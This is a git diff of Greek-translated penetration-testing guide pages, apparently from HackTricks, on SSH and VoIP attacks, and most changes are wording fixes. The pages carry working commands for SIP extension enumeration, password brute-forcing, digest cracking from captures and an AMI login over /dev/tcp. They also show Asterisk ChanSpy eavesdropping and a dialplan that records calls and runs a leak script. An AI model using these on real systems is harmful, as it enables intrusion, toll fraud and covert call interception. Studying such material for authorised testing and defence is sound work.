μπορούν να παρακάμψουν αυτούς τους περιορισμούς** ζητώντας την εκτέλεση μιας εντολής (όπως `/bin/bash`) αμέσως μετά την είσοδό τους, πριν αναλάβει το καθορισμένο μη διαδραστικό shell τους. Αυτό επιτρέπει την μη εξουσιοδοτημένη εκτέλεση εντολών, υπονομεύοντας τα προγραμματισμένα μέτρα ασφαλείας. [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -232,11 +232,11 @@ PermitTunnel no X11Forwarding no PermitTTY no ``` -Αυτή η ρύθμιση θα επιτρέπει μόνο SFTP: απενεργοποιώντας την πρόσβαση στο shell αναγκάζοντας την εντολή εκκίνησης και απενεργοποιώντας την πρόσβαση TTY, αλλά και απενεργοποιώντας κάθε είδους προώθηση θυρών ή σήραγγες. +Αυτή η ρύθμιση θα επιτρέπει μόνο SFTP: απενεργοποιώντας την πρόσβαση στο shell αναγκάζοντας την εντολή εκκίνησης και απενεργοποιώντας την πρόσβαση TTY αλλά και απενεργοποιώντας κάθε είδους προώθηση θυρών ή σήραγγες. ### SFTP Tunneling -Αν έχετε πρόσβαση σε έναν SFTP server, μπορείτε επίσης να σήραγγες την κίνησή σας μέσω αυτού, για παράδειγμα χρησιμοποιώντας την κοινή προώθηση θυρών: +Αν έχετε πρόσβαση σε έναν SFTP server μπορείτε επίσης να σήραγγα την κίνησή σας μέσω αυτού, για παράδειγμα χρησιμοποιώντας την κοινή προώθηση θυρών: ```bash sudo ssh -L :: -N -f @ ``` @@ -252,7 +252,7 @@ sftp> symlink / froot ### Μέθοδοι αυθεντικοποίησης -Σε περιβάλλον υψηλής ασφάλειας, είναι κοινή πρακτική να ενεργοποιούνται μόνο οι μέθοδοι αυθεντικοποίησης με βάση κλειδιά ή η αυθεντικοποίηση δύο παραγόντων αντί για την απλή αυθεντικοποίηση με βάση τον κωδικό πρόσβασης. Αλλά συχνά οι ισχυρότερες μέθοδοι αυθεντικοποίησης ενεργοποιούνται χωρίς να απενεργοποιούνται οι ασθενέστερες. Ένας συχνός περίπτωση είναι η ενεργοποίηση του `publickey` στη διαμόρφωση του openSSH και η ρύθμισή του ως η προεπιλεγμένη μέθοδος, αλλά χωρίς να απενεργοποιηθεί ο `password`. Έτσι, χρησιμοποιώντας τη λεπτομερή λειτουργία του πελάτη SSH, ένας επιτιθέμενος μπορεί να δει ότι μια ασθενέστερη μέθοδος είναι ενεργοποιημένη: +Σε περιβάλλον υψηλής ασφάλειας, είναι κοινή πρακτική να ενεργοποιούνται μόνο οι μέθοδοι αυθεντικοποίησης με κλειδί ή η αυθεντικοποίηση δύο παραγόντων αντί για την απλή αυθεντικοποίηση με κωδικό πρόσβασης. Αλλά συχνά οι ισχυρότερες μέθοδοι αυθεντικοποίησης ενεργοποιούνται χωρίς να απενεργοποιούνται οι ασθενέστερες. Ένας συχνός περίπτωση είναι η ενεργοποίηση του `publickey` στη διαμόρφωση του openSSH και η ρύθμισή του ως η προεπιλεγμένη μέθοδος, αλλά χωρίς να απενεργοποιείται το `password`. Έτσι, χρησιμοποιώντας τη λεπτομερή λειτουργία του πελάτη SSH, ένας επιτιθέμενος μπορεί να δει ότι έχει ενεργοποιηθεί μια ασθενέστερη μέθοδος: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 @@ -285,7 +285,7 @@ id_rsa Πολλές υλοποιήσεις διακομιστή SSH περιέχουν λογικά σφάλματα στην **μηχανή καταστάσεων αυθεντικοποίησης** που επιτρέπουν σε έναν πελάτη να στείλει *μήνυμα πρωτοκόλλου σύνδεσης* **πριν** ολοκληρωθεί η αυθεντικοποίηση. Επειδή ο διακομιστής αποτυγχάνει να επαληθεύσει ότι βρίσκεται στην σωστή κατάσταση, αυτά τα μηνύματα διαχειρίζονται σαν να ήταν ο χρήστης πλήρως αυθεντικοποιημένος, οδηγώντας σε **μη αυθεντικοποιημένη εκτέλεση κώδικα** ή δημιουργία συνεδρίας. -Σε επίπεδο πρωτοκόλλου, οποιοδήποτε μήνυμα SSH με _κωδικό μηνύματος_ **≥ 80** (0x50) ανήκει στο *επίπεδο σύνδεσης* (RFC 4254) και πρέπει να **γίνεται αποδεκτό μόνο μετά από επιτυχή αυθεντικοποίηση** (RFC 4252). Εάν ο διακομιστής επεξεργαστεί ένα από αυτά τα μηνύματα ενώ είναι ακόμα στην κατάσταση *SSH_AUTHENTICATION*, ο επιτιθέμενος μπορεί αμέσως να δημιουργήσει ένα κανάλι και να ζητήσει ενέργειες όπως εκτέλεση εντολών, προώθηση θυρών, κ.λπ. +Σε επίπεδο πρωτοκόλλου, οποιοδήποτε μήνυμα SSH με _κωδικό μηνύματος_ **≥ 80** (0x50) ανήκει στο *επίπεδο σύνδεσης* (RFC 4254) και πρέπει να **γίνεται αποδεκτό μόνο μετά από επιτυχημένη αυθεντικοποίηση** (RFC 4252). Εάν ο διακομιστής επεξεργαστεί ένα από αυτά τα μηνύματα ενώ είναι ακόμα στην κατάσταση *SSH_AUTHENTICATION*, ο επιτιθέμενος μπορεί αμέσως να δημιουργήσει ένα κανάλι και να ζητήσει ενέργειες όπως εκτέλεση εντολών, προώθηση θυρών, κ.λπ. ### Generic Exploitation Steps 1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…). diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index 862afb16e..4196b4089 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -5,7 +5,8 @@ ## VoIP Βασικές Πληροφορίες -Για να ξεκινήσετε να μάθετε πώς λειτουργεί το VoIP, ελέγξτε: +Για να ξεκινήσετε να μαθαίνετε πώς λειτουργεί το VoIP, ελέγξτε: + {{#ref}} basic-voip-protocols/ @@ -133,14 +134,14 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 Ένα από τα πρώτα βήματα που θα μπορούσε να κάνει μια Red Team είναι να αναζητήσει διαθέσιμους αριθμούς τηλεφώνου για να επικοινωνήσει με την εταιρεία χρησιμοποιώντας εργαλεία OSINT, αναζητήσεις στο Google ή scraping ιστοσελίδων. -Αφού έχετε τους αριθμούς τηλεφώνου, μπορείτε να χρησιμοποιήσετε διαδικτυακές υπηρεσίες για να προσδιορίσετε τον πάροχο: +Μόλις έχετε τους αριθμούς τηλεφώνου, μπορείτε να χρησιμοποιήσετε διαδικτυακές υπηρεσίες για να προσδιορίσετε τον πάροχο: - [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis&sub=phonenr) - [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) - [https://www.whitepages.com/](https://www.whitepages.com/) - [https://www.twilio.com/lookup](https://www.twilio.com/lookup) -Γνωρίζοντας αν ο πάροχος παρέχει υπηρεσίες VoIP, μπορείτε να προσδιορίσετε αν η εταιρεία χρησιμοποιεί VoIP... Επιπλέον, είναι πιθανό ότι η εταιρεία δεν έχει προσλάβει υπηρεσίες VoIP αλλά χρησιμοποιεί κάρτες PSTN για να συνδέσει το δικό της VoIP PBX με το παραδοσιακό τηλεφωνικό δίκτυο. +Γνωρίζοντας αν ο πάροχος παρέχει υπηρεσίες VoIP, μπορείτε να προσδιορίσετε αν η εταιρεία χρησιμοποιεί VoIP... Επιπλέον, είναι πιθανό η εταιρεία να μην έχει προσλάβει υπηρεσίες VoIP αλλά να χρησιμοποιεί κάρτες PSTN για να συνδέσει το δικό της VoIP PBX στο παραδοσιακό τηλεφωνικό δίκτυο. Πράγματα όπως οι αυτοματοποιημένες απαντήσεις μουσικής συνήθως υποδεικνύουν ότι χρησιμοποιείται VoIP. @@ -178,9 +179,9 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati ``` ### OSINT πληροφορίες -Οποιαδήποτε άλλη OSINT αρίθμηση που βοηθά στην αναγνώριση του λογισμικού VoIP που χρησιμοποιείται θα είναι χρήσιμη για μια Red Team. +Οποιαδήποτε άλλη καταγραφή OSINT που βοηθά στην αναγνώριση του λογισμικού VoIP που χρησιμοποιείται θα είναι χρήσιμη για μια Κόκκινη Ομάδα. -### Αρίθμηση Δικτύου +### Καταγραφή Δικτύου - **`nmap`** είναι ικανό να σαρώσει υπηρεσίες UDP, αλλά λόγω του αριθμού των υπηρεσιών UDP που σαρώνονται, είναι πολύ αργό και μπορεί να μην είναι πολύ ακριβές με αυτόν τον τύπο υπηρεσιών. ```bash @@ -228,7 +229,7 @@ sippts enumerate -i 10.10.0.10 ``` ### Ανάλυση απαντήσεων διακομιστή -Είναι πολύ σημαντικό να αναλύουμε τις κεφαλίδες που μας στέλνει πίσω ένας διακομιστής, ανάλογα με τον τύπο του μηνύματος και των κεφαλίδων που στέλνουμε. Με το `SIPPTS send` από [**sippts**](https://github.com/Pepelux/sippts) μπορούμε να στείλουμε εξατομικευμένα μηνύματα, χειριζόμενοι όλες τις κεφαλίδες, και να αναλύσουμε την απάντηση. +Είναι πολύ σημαντικό να αναλύουμε τις κεφαλίδες που μας στέλνει πίσω ένας διακομιστής, ανάλογα με τον τύπο μηνύματος και τις κεφαλίδες που στέλνουμε. Με το `SIPPTS send` από [**sippts**](https://github.com/Pepelux/sippts) μπορούμε να στείλουμε εξατομικευμένα μηνύματα, χειριζόμενοι όλες τις κεφαλίδες, και να αναλύσουμε την απάντηση. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` @@ -238,13 +239,13 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration -Οι εσωτερικές γραμμές σε ένα σύστημα PBX (Private Branch Exchange) αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Οι εσωτερικές γραμμές καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή. +Οι επεκτάσεις σε ένα σύστημα PBX (Ιδιωτική Κεντρική Σύνδεση) αναφέρονται στους **μοναδικούς εσωτερικούς αναγνωριστικούς αριθμούς που αποδίδονται σε μεμονωμένες** τηλεφωνικές γραμμές, συσκευές ή χρήστες εντός ενός οργανισμού ή επιχείρησης. Οι επεκτάσεις καθιστούν δυνατή την **αποτελεσματική δρομολόγηση κλήσεων εντός του οργανισμού**, χωρίς την ανάγκη για μεμονωμένους εξωτερικούς τηλεφωνικούς αριθμούς για κάθε χρήστη ή συσκευή. -- **`svwar`** από το SIPVicious (`sudo apt install sipvicious`): `svwar` είναι ένας δωρεάν σαρωτής γραμμών SIP PBX. Στην έννοια του λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, **μαντεύοντας μια σειρά εσωτερικών γραμμών ή μια δεδομένη λίστα εσωτερικών γραμμών**. +- **`svwar`** από το SIPVicious (`sudo apt install sipvicious`): `svwar` είναι ένας δωρεάν σαρωτής γραμμών επεκτάσεων SIP PBX. Στην έννοια του λειτουργεί παρόμοια με τους παραδοσιακούς wardialers, **μαντεύοντας μια σειρά επεκτάσεων ή μια δεδομένη λίστα επεκτάσεων**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` -- **`SIPPTS exten`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS exten αναγνωρίζει τις επεκτάσεις σε έναν διακομιστή SIP. Το Sipexten μπορεί να ελέγξει μεγάλες περιοχές δικτύου και θυρών. +- **`SIPPTS exten`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS exten αναγνωρίζει τις επεκτάσεις σε έναν SIP server. Το Sipexten μπορεί να ελέγξει μεγάλες περιοχές δικτύου και θυρών. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` @@ -253,28 +254,28 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** είναι ένας πρωτόκολλο Inter Asterisk Exchange **enumerator brute-force ονομάτων χρήστη**. Το enumIAX μπορεί να λειτουργήσει σε δύο διακριτές λειτουργίες: Sequential Username Guessing ή Dictionary Attack. +- **`enumiax` (`apt install enumiax`): enumIAX** είναι ένας πρωτόκολλο Inter Asterisk Exchange **enumerator brute-force ονόματος χρήστη**. Το enumIAX μπορεί να λειτουργήσει σε δύο διακριτές λειτουργίες: Sequential Username Guessing ή Dictionary Attack. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` -## VoIP Επιθέσεις +## VoIP Attacks ### Password Brute-Force - online -Αφού ανακαλύψετε το **PBX** και μερικά **extensions/usernames**, μια ομάδα Red Team θα μπορούσε να προσπαθήσει να **αυθεντικοποιηθεί μέσω της μεθόδου `REGISTER`** σε ένα extension χρησιμοποιώντας ένα λεξικό κοινών κωδικών πρόσβασης για να σπάσει την αυθεντικοποίηση. +Αφού ανακαλύψετε το **PBX** και μερικά **extensions/usernames**, μια Red Team θα μπορούσε να προσπαθήσει να **authenticate μέσω της μεθόδου `REGISTER`** σε ένα extension χρησιμοποιώντας ένα λεξικό κοινών κωδικών πρόσβασης για να κάνει brute force την αυθεντικοποίηση. > [!CAUTION] > Σημειώστε ότι ένα **username** μπορεί να είναι το ίδιο με το extension, αλλά αυτή η πρακτική μπορεί να διαφέρει ανάλογα με το σύστημα PBX, τη διαμόρφωσή του και τις προτιμήσεις του οργανισμού... > -> Εάν το username δεν είναι το ίδιο με το extension, θα χρειαστεί να **καταλάβετε το username για να το σπάσετε**. +> Εάν το username δεν είναι το ίδιο με το extension, θα χρειαστεί να **καταλάβετε το username για να το κάνετε brute-force**. - **`svcrack`** από το SIPVicious (`sudo apt install sipvicious`): Το SVCrack σας επιτρέπει να σπάσετε τον κωδικό πρόσβασης για ένα συγκεκριμένο username/extension σε ένα PBX. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rcrack είναι ένας απομακρυσμένος αποκωδικοποιητής κωδικών πρόσβασης για υπηρεσίες SIP. Ο rcrack μπορεί να δοκιμάσει κωδικούς πρόσβασης για αρκετούς χρήστες σε διάφορες διευθύνσεις IP και εύρη θυρών. +- **`SIPPTS rcrack`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS rcrack είναι ένας απομακρυσμένος αποκωδικοποιητής κωδικών πρόσβασης για υπηρεσίες SIP. Ο Rcrack μπορεί να δοκιμάσει κωδικούς πρόσβασης για αρκετούς χρήστες σε διάφορες διευθύνσεις IP και εύρη θυρών. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -284,7 +285,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### VoIP Sniffing -Αν βρείτε εξοπλισμό VoIP μέσα σε ένα **Open Wifi network**, μπορείτε να **sniff all the information**. Επιπλέον, αν βρίσκεστε μέσα σε ένα πιο κλειστό δίκτυο (συνδεδεμένο μέσω Ethernet ή προστατευμένου Wifi) μπορείτε να εκτελέσετε **MitM attacks such as** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) μεταξύ του **PBX και της πύλης** προκειμένου να sniff την πληροφορία. +Αν βρείτε εξοπλισμό VoIP μέσα σε ένα **Open Wifi network**, μπορείτε να **sniff all the information**. Επιπλέον, αν βρίσκεστε σε ένα πιο κλειστό δίκτυο (συνδεδεμένο μέσω Ethernet ή προστατευμένου Wifi) μπορείτε να εκτελέσετε **MitM attacks such as** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) μεταξύ του **PBX και της πύλης** προκειμένου να sniff την πληροφορία. Ανάμεσα στις πληροφορίες του δικτύου, μπορείτε να βρείτε **web credentials** για να διαχειριστείτε τον εξοπλισμό, **extensions** χρηστών, **username**, **IP** διευθύνσεις, ακόμη και **hashed passwords** και **RTP packets** που μπορείτε να αναπαράγετε για να **hear the conversation**, και άλλα. @@ -298,12 +299,12 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt [Check this example to understand better a **SIP REGISTER communication**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) για να μάθετε πώς αποστέλλονται οι **credentials**. -- **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **extract** από ένα **pcap** τις **digest authentications** μέσα στο πρωτόκολλο SIP και να τις **bruteforce**. +- **`sipdump`** & **`sipcrack`,** μέρος του **sipcrack** (`apt-get install sipcrack`): Αυτά τα εργαλεία μπορούν να **extract** από ένα **pcap** τις **digest authentications** μέσα στο SIP πρωτόκολλο και να τις **bruteforce**. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` -- **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει διαπιστευτήρια αυθεντικοποίησης από ένα αρχείο pcap. +- **`SIPPTS dump`** από [**sippts**](https://github.com/Pepelux/sippts)**:** Το SIPPTS dump μπορεί να εξάγει πιστοποιήσεις digest από ένα αρχείο pcap. ```bash sippts dump -f capture.pcap -o data.txt ``` @@ -317,8 +318,8 @@ sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF κωδικοί -**Όχι μόνο τα SIP διαπιστευτήρια** μπορούν να βρεθούν στην κίνηση του δικτύου, είναι επίσης δυνατό να βρεθούν DTMF κωδικοί που χρησιμοποιούνται για παράδειγμα για την πρόσβαση στο **φωνητικό ταχυδρομείο**.\ -Είναι δυνατό να σταλούν αυτοί οι κωδικοί σε **INFO SIP μηνύματα**, σε **ήχο** ή μέσα σε **RTP πακέτα**. Αν οι κωδικοί είναι μέσα σε RTP πακέτα, θα μπορούσατε να κόψετε αυτό το μέρος της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε: +**Όχι μόνο τα SIP διαπιστευτήρια** μπορούν να βρεθούν στην κίνηση του δικτύου, είναι επίσης δυνατό να βρεθούν DTMF κωδικοί που χρησιμοποιούνται για παράδειγμα για να αποκτήσετε πρόσβαση στο **φωνητικό ταχυδρομείο**.\ +Είναι δυνατό να στείλετε αυτούς τους κωδικούς σε **INFO SIP μηνύματα**, σε **ήχο** ή μέσα σε **RTP πακέτα**. Αν οι κωδικοί είναι μέσα σε RTP πακέτα, μπορείτε να κόψετε αυτό το μέρος της συνομιλίας και να χρησιμοποιήσετε το εργαλείο multimo για να τους εξάγετε: ```bash multimon -a DTMF -t wac pin.wav ``` @@ -329,9 +330,9 @@ multimon -a DTMF -t wac pin.wav host=10.10.10.10 host=dynamic ``` -Αν καθοριστεί μια διεύθυνση IP, ο υπολογιστής **δεν θα χρειάζεται να στέλνει αιτήματα REGISTER** κάθε λίγο και λιγάκι (στο πακέτο REGISTER αποστέλλεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα χρειάζεται να REGISTER κάθε 30 λεπτά). Ωστόσο, θα πρέπει να έχει ανοιχτές θύρες που να επιτρέπουν συνδέσεις από τον VoIP διακομιστή για να δέχεται κλήσεις. +Αν καθοριστεί μια διεύθυνση IP, ο υπολογιστής **δεν θα χρειάζεται να στέλνει αιτήματα REGISTER** κάθε λίγο και λιγάκι (στο πακέτο REGISTER αποστέλλεται ο χρόνος ζωής, συνήθως 30 λεπτά, που σημαίνει ότι σε άλλη περίπτωση το τηλέφωνο θα χρειάζεται να REGISTER κάθε 30 λεπτά). Ωστόσο, θα πρέπει να έχει ανοιχτές θύρες που να επιτρέπουν τις συνδέσεις από τον διακομιστή VoIP για να δέχεται κλήσεις. -Για να οριστούν οι χρήστες μπορούν να οριστούν ως: +Για να οριστούν οι χρήστες, μπορούν να οριστούν ως: - **`type=user`**: Ο χρήστης μπορεί να δέχεται κλήσεις μόνο ως χρήστης. - **`type=friend`**: Είναι δυνατή η πραγματοποίηση κλήσεων ως peer και η λήψη τους ως χρήστης (χρησιμοποιείται με επεκτάσεις) @@ -359,7 +360,7 @@ host=dynamic ```bash csharpCopy code[my_context] ``` -Μέσα στο πλαίσιο, ορίζετε τις εκτάσεις (μοτίβα αριθμών που καλούνται) και τις συνδέετε με μια σειρά ενεργειών ή εφαρμογών. Αυτές οι ενέργειες καθορίζουν πώς επεξεργάζεται η κλήση. Για παράδειγμα: +Μέσα στο πλαίσιο, ορίζετε τις επεκτάσεις (μοτίβα αριθμών που καλούνται) και τις συνδέετε με μια σειρά ενεργειών ή εφαρμογών. Αυτές οι ενέργειες καθορίζουν πώς επεξεργάζεται η κλήση. Για παράδειγμα: ```scss [my_context] exten => 100,1,Answer() @@ -397,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` ### Δωρεάν κλήσεις / Κακώς ρυθμισμένα IVRS -IVRS σημαίνει **Σύστημα Διαδραστικής Φωνητικής Απόκρισης**, μια τεχνολογία τηλεφωνίας που επιτρέπει στους χρήστες να αλληλεπιδρούν με ένα υπολογιστικό σύστημα μέσω φωνητικών ή τόνων αφής εισόδων. Το IVRS χρησιμοποιείται για την κατασκευή **αυτοματοποιημένων συστημάτων διαχείρισης κλήσεων** που προσφέρουν μια σειρά από λειτουργίες, όπως η παροχή πληροφοριών, η δρομολόγηση κλήσεων και η καταγραφή εισόδων χρηστών. +IVRS σημαίνει **Interactive Voice Response System**, μια τεχνολογία τηλεφωνίας που επιτρέπει στους χρήστες να αλληλεπιδρούν με ένα υπολογιστικό σύστημα μέσω φωνητικών ή τόνων αφής. Το IVRS χρησιμοποιείται για την κατασκευή **αυτοματοποιημένων συστημάτων διαχείρισης κλήσεων** που προσφέρουν μια σειρά από λειτουργίες, όπως η παροχή πληροφοριών, η δρομολόγηση κλήσεων και η καταγραφή εισόδου χρηστών. Το IVRS σε συστήματα VoIP συνήθως αποτελείται από: -1. **Φωνητικές προτροπές**: Προηχογραφημένα ηχητικά μηνύματα που καθοδηγούν τους χρήστες μέσα από τις επιλογές και τις οδηγίες του μενού IVR. +1. **Φωνητικές προτροπές**: Προηχογραφημένα ηχητικά μηνύματα που καθοδηγούν τους χρήστες μέσω των επιλογών και οδηγιών του μενού IVR. 2. **DTMF** (Dual-Tone Multi-Frequency) σήμανση: Εισόδους τόνων αφής που παράγονται με την πίεση πλήκτρων στο τηλέφωνο, οι οποίες χρησιμοποιούνται για την πλοήγηση στα μενού IVR και την παροχή εισόδου. 3. **Δρομολόγηση κλήσεων**: Κατεύθυνση κλήσεων στον κατάλληλο προορισμό, όπως συγκεκριμένα τμήματα, πράκτορες ή εσωτερικούς αριθμούς βάσει της εισόδου του χρήστη. 4. **Καταγραφή εισόδου χρήστη**: Συλλογή πληροφοριών από τους καλούντες, όπως αριθμούς λογαριασμών, αναγνωριστικά περιπτώσεων ή οποιαδήποτε άλλη σχετική δεδομένα. 5. **Ενσωμάτωση με εξωτερικά συστήματα**: Σύνδεση του συστήματος IVR με βάσεις δεδομένων ή άλλα λογισμικά συστήματα για την πρόσβαση ή την ενημέρωση πληροφοριών, την εκτέλεση ενεργειών ή την ενεργοποίηση γεγονότων. -Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσεων (**`extensions.conf`** αρχείο) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()`, και άλλα. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές προτροπές, να καταγράφετε εισόδους χρηστών και να ελέγχετε τη ροή των κλήσεων. +Σε ένα σύστημα VoIP Asterisk, μπορείτε να δημιουργήσετε ένα IVR χρησιμοποιώντας το σχέδιο κλήσεων (**`extensions.conf`** αρχείο) και διάφορες εφαρμογές όπως `Background()`, `Playback()`, `Read()`, και άλλα. Αυτές οι εφαρμογές σας βοηθούν να αναπαράγετε φωνητικές προτροπές, να καταγράφετε την είσοδο του χρήστη και να ελέγχετε τη ροή της κλήσης. #### Παράδειγμα ευάλωτης ρύθμισης ```scss @@ -418,7 +419,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Ο προηγούμενος είναι ένα παράδειγμα όπου ο χρήστης ζητείται να **πατήσει 1 για να καλέσει** ένα τμήμα, **2 για να καλέσει** ένα άλλο, ή **τον πλήρη αριθμό** αν τον γνωρίζει.\ -Η ευπάθεια είναι το γεγονός ότι το υποδεικνυόμενο **μήκος αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει τον χρόνο αναμονής 5 δευτερολέπτων ενός πλήρους αριθμού και αυτός θα καλεστεί.** +Η ευπάθεια είναι το γεγονός ότι το υποδεικνυόμενο **μήκος αριθμού δεν ελέγχεται, οπότε ένας χρήστης θα μπορούσε να εισάγει τον χρόνο αναμονής 5 δευτερολέπτων ενός πλήρους αριθμού και θα καλεστεί.** ### Extension Injection @@ -485,10 +486,10 @@ displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` -- Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΑΔΗΠΟΤΕ διεύθυνση IP να συνδεθεί** (αν είναι γνωστός ο κωδικός). -- Για να **οργανωθεί μια κλήση**, όπως αναφέρθηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **η προέλευση** σε **γραφή** είναι απαραίτητη. +- Το προηγούμενο προφίλ επιτρέπει **ΟΠΟΙΑΔΗΠΟΤΕ διεύθυνση IP να συνδεθεί** (αν γνωρίζεται ο κωδικός πρόσβασης). +- Για να **διοργανωθεί μια κλήση**, όπως αναφέρθηκε προηγουμένως, **δεν απαιτούνται δικαιώματα ανάγνωσης** και **μόνο** **η προέλευση** σε **γραφή** είναι απαραίτητη. -Με αυτά τα δικαιώματα, οποιαδήποτε IP γνωρίζει τον κωδικό θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως: +Με αυτά τα δικαιώματα, οποιαδήποτε IP γνωρίζει τον κωδικό πρόσβασης θα μπορούσε να συνδεθεί και να εξάγει πάρα πολλές πληροφορίες, όπως: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 @@ -497,13 +498,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ### **Παρακολούθηση** -Στο Asterisk είναι δυνατόν να χρησιμοποιηθεί η εντολή **`ChanSpy`** υποδεικνύοντας την **εσωτερική γραμμή(ες) προς παρακολούθηση** (ή όλες) για να ακούσετε τις συνομιλίες που συμβαίνουν. Αυτή η εντολή πρέπει να ανατεθεί σε μια εσωτερική γραμμή. +Στο Asterisk είναι δυνατή η χρήση της εντολής **`ChanSpy`** υποδεικνύοντας την **εσωτερική γραμμή(ες) προς παρακολούθηση** (ή όλες) για να ακούσετε τις συνομιλίες που συμβαίνουν. Αυτή η εντολή πρέπει να ανατεθεί σε μια εσωτερική γραμμή. Για παράδειγμα, **`exten => 333,1,ChanSpy('all',qb)`** υποδεικνύει ότι αν **καλέσετε** την **εσωτερική γραμμή 333**, θα **παρακολουθεί** **`όλες`** τις εσωτερικές γραμμές, **ξεκινώντας να ακούει** όποτε ξεκινά μια νέα συνομιλία (**`b`**) σε ήσυχο τρόπο (**`q`**) καθώς δεν θέλουμε να αλληλεπιδράσουμε σε αυτήν. Μπορείτε να μεταβείτε από μια συνομιλία σε άλλη πατώντας **`*`**, ή σημειώνοντας τον αριθμό της εσωτερικής γραμμής. -Είναι επίσης δυνατό να χρησιμοποιήσετε **`ExtenSpy`** για να παρακολουθήσετε μόνο μία εσωτερική γραμμή. +Είναι επίσης δυνατή η χρήση του **`ExtenSpy`** για να παρακολουθήσετε μόνο μία εσωτερική γραμμή. -Αντί να ακούτε τις συνομιλίες, είναι δυνατόν να **τις καταγράψετε σε αρχεία** χρησιμοποιώντας μια εσωτερική γραμμή όπως: +Αντί να ακούτε τις συνομιλίες, είναι δυνατή η **καταγραφή τους σε αρχεία** χρησιμοποιώντας μια εσωτερική γραμμή όπως: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) @@ -517,15 +518,15 @@ exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed ευπάθεια -**RTCPBleed** είναι ένα σημαντικό πρόβλημα ασφαλείας που επηρεάζει τους VoIP διακομιστές βασισμένους σε Asterisk (δημοσιεύθηκε το 2017). Η ευπάθεια επιτρέπει στο **RTP (Real Time Protocol) traffic**, το οποίο μεταφέρει τις VoIP συνομιλίες, να **παρακολουθείται και να ανακατευθύνεται από οποιονδήποτε στο Διαδίκτυο**. Αυτό συμβαίνει επειδή η RTP κίνηση 